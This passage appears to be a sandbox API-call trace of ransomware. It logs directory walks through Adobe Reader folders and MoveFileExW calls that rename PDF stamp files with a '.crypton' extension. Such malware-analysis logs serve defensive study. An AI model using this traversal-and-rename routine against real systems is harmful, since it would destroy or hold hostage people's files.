lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4ec1fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4ec1fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.920] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4ee8140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4ee8140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.926] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4ee8140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4ee8140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.934] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4f0e2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4f0e2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.941] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4f0e2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4f0e2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.948] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4f34400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4f34400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.955] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4f34400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4f34400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.962] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4f34400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4f34400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.968] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4f5a560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4f5a560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0147.286] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf.crypton"), dwFlags=0x2) returned 1 [0147.293] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd527a240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd527a240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0147.299] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd527a240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd527a240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0147.304] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd527a240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd527a240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0147.314] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd52a03a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd52a03a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0147.319] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd52a03a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd52a03a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0147.325] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd52c6500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd52c6500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0147.354] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0147.376] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0147.406] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0147.428] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0147.533] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0147.956] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0147.969] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd58dfd60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd58dfd60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0148.013] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0148.041] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf.crypton"), dwFlags=0x2) returned 1 [0148.070] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0148.140] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0148.147] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd5a82c80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd5a82c80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0148.204] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0148.276] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf.crypton"), dwFlags=0x2) returned 1 [0148.316] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0148.435] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0148.443] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd5d566a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd5d566a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0148.465] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0148.486] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0148.513] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0148.711] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0148.812] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0148.858] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0148.865] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd615abc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd615abc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0148.896] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0148.927] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0148.978] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0148.985] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd628b6c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd628b6c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0149.013] MoveFileExW (lpExistingFileName="C:\\\\Program Files 